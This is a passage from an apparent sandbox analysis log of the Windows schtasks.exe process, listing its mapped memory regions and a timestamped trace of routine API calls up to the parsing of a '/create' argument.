"private_0x000000007efe0000" filename = "" Region: id = 3706 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3707 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3708 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3709 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3710 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3711 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3712 start_va = 0x1c0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3713 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3714 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3715 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3716 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3717 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3718 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3719 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3720 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3721 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3722 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3723 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3724 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3725 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3726 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3727 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3728 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3729 start_va = 0xc0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3730 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3731 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3732 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3733 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3734 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3735 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3736 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 3737 start_va = 0x7d0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3738 start_va = 0xe0000 end_va = 0xf1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3739 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3740 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3741 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3742 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3743 start_va = 0x1bd0000 end_va = 0x1e9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3744 start_va = 0x1c0000 end_va = 0x23cfff monitored = 0 entry_point = 0x1ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3745 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3746 start_va = 0x1c0000 end_va = 0x23cfff monitored = 0 entry_point = 0x1ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3747 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3748 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3749 start_va = 0x1ea0000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 3750 start_va = 0x1c0000 end_va = 0x29efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 3751 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3752 start_va = 0x1f30000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 3753 start_va = 0x2000000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 3754 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3755 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3756 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3757 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3758 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 3759 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3760 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3763 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 171 os_tid = 0xc98 [0079.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bfbe0 | out: lpSystemTimeAsFileTime=0x1bfbe0*(dwLowDateTime=0x58532840, dwHighDateTime=0x1d9eb0c)) [0079.454] GetCurrentProcessId () returned 0xcb8 [0079.454] GetCurrentThreadId () returned 0xc98 [0079.454] GetTickCount () returned 0x17694b7 [0079.454] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1bfbe8 | out: lpPerformanceCount=0x1bfbe8*=2488593781241) returned 1 [0079.455] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0079.455] __set_app_type (_Type=0x1) [0079.455] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0079.455] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0079.456] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0079.456] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0079.456] _onexit (_Func=0xff932afc) returned 0xff932afc [0079.456] _onexit (_Func=0xff932b58) returned 0xff932b58 [0079.456] _onexit (_Func=0xff932b80) returned 0xff932b80 [0079.456] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0079.456] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0079.457] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0079.457] _onexit (_Func=0xff932c20) returned 0xff932c20 [0079.457] _onexit (_Func=0xff932c48) returned 0xff932c48 [0079.457] _onexit (_Func=0xff932c70) returned 0xff932c70 [0079.457] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.457] WinSqmIsOptedIn () returned 0x0 [0079.457] GetProcessHeap () returned 0x2b0000 [0079.457] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2c7fa0 [0079.458] SetLastError (dwErrCode=0x0) [0079.458] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0079.458] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0079.458] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0079.458] VerifyVersionInfoW (in: lpVersionInformation=0x1bf3a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bf3a0) returned 1 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbb10 [0079.458] lstrlenW (lpString="") returned 0 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x2) returned 0x2cbb30 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a30 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbb50 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a60 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a90 [0079.458] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5ac0 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5af0 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbb70 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b20 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b50 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b80 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5bb0 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbb90 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5be0 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c10 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c40 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c70 [0079.459] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.459] SetLastError (dwErrCode=0x0) [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5ca0 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5cd0 [0079.459] GetProcessHeap () returned 0x2b0000 [0079.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5d00 [0079.460] GetProcessHeap () returned 0x2b0000 [0079.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5d30 [0079.460] GetProcessHeap () returned 0x2b0000 [0079.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5d60 [0079.460] GetProcessHeap () returned 0x2b0000 [0079.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbbb0 [0079.460] _memicmp (_Buf1=0x2cbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.460] GetProcessHeap () returned 0x2b0000 [0079.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x208) returned 0x2cbd50 [0079.460] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cbd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0079.460] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0079.462] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0079.462] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0079.464] GetProcessHeap () returned 0x2b0000 [0079.464] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x74e) returned 0x2cc320 [0079.464] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0079.464] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2cc320 | out: lpData=0x2cc320) returned 1 [0079.464] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0079.464] VerQueryValueW (in: pBlock=0x2cc320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf488, puLen=0x1bf4f0 | out: lplpBuffer=0x1bf488*=0x2cc6bc, puLen=0x1bf4f0) returned 1 [0079.466] _memicmp (_Buf1=0x2cbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.466] _vsnwprintf (in: _Buffer=0x2cbd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf468 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0079.466] VerQueryValueW (in: pBlock=0x2cc320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf4f8, puLen=0x1bf4e8 | out: lplpBuffer=0x1bf4f8*=0x2cc4e8, puLen=0x1bf4e8) returned 1 [0079.466] lstrlenW (lpString="schtasks.exe") returned 12 [0079.466] lstrlenW (lpString="schtasks.exe") returned 12 [0079.466] lstrlenW (lpString=".EXE") returned 4 [0079.467] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0079.467] lstrlenW (lpString="schtasks.exe") returned 12 [0079.467] lstrlenW (lpString=".EXE") returned 4 [0079.467] _memicmp (_Buf1=0x2cbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.467] lstrlenW (lpString="schtasks") returned 8 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5e50 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc30 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc60 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc90 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbbd0 [0079.468] _memicmp (_Buf1=0x2cbbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa0) returned 0x2cc150 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cccc0 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cccf0 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd20 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbbf0 [0079.468] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.468] GetProcessHeap () returned 0x2b0000 [0079.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x200) returned 0x2cd400 [0079.468] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0079.469] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0079.469] GetProcessHeap () returned 0x2b0000 [0079.469] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x30) returned 0x2c7bc0 [0079.469] _vsnwprintf (in: _Buffer=0x2cc150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf468 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0079.469] GetProcessHeap () returned 0x2b0000 [0079.469] GetProcessHeap () returned 0x2b0000 [0079.469] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320) returned 1 [0079.469] GetProcessHeap () returned 0x2b0000 [0079.469] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc320) returned 0x74e [0079.469] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320 | out: hHeap=0x2b0000) returned 1 [0079.470] SetLastError (dwErrCode=0x0) [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="?") returned 1 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="create") returned 6 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="delete") returned 6 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="query") returned 5 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="change") returned 6 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="run") returned 3 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="end") returned 3 [0079.470] GetThreadLocale () returned 0x409 [0079.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.470] lstrlenW (lpString="showsid") returned 7 [0079.471] GetThreadLocale () returned 0x409 [0079.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.471] SetLastError (dwErrCode=0x0) [0079.471] SetLastError (dwErrCode=0x0) [0079.471] lstrlenW (lpString="/create") returned 7 [0079.471] lstrlenW (lpString="-/") returned 2 [0079.471] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.471] lstrlenW (lpString="?") returned 1 [0079.471] lstrlenW (lpString="?") returned 1 [0079.471] GetProcessHeap () returned 0x2b0000 [0079.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc200 [0079.471] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.471] GetProcessHeap () returned 0x2b0000 [0079.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa) returned 0x2cc320 [0079.471] lstrlenW (lpString="create") returned 6 [0079.471] GetProcessHeap () returned 0x2b0000 [0079.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc340 [0079.471] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.471] GetProcessHeap () returned 0x2b0000 [0079.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x14) returned 0x2cc360 [0079.471] _vsnwprintf (in: _Buffer=0x2cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|?|") returned 3 [0079.471] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.471] lstrlenW (lpString="|?|") returned 3 [0079.471] lstrlenW (lpString="|create|") returned 8 [0079.471] SetLastError (dwErrCode=0x490) [0079.471] lstrlenW (lpString="create") returned 6 [0079.471] lstrlenW (lpString="create") returned 6 [0079.471] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.471] GetProcessHeap () returned 0x2b0000 [0079.471] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320) returned 1 [0079.471] GetProcessHeap () returned 0x2b0000 [0079.471] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cc320, Size=0x14) returned 0x2cc380 [0079.471] lstrlenW (lpString="create") returned 6 [0079.472] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.472] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.472] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.472] lstrlenW (lpString="|create|") returned 8 [0079.472] lstrlenW (lpString="|create|") returned 8 [0079.472] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0079.472] SetLastError 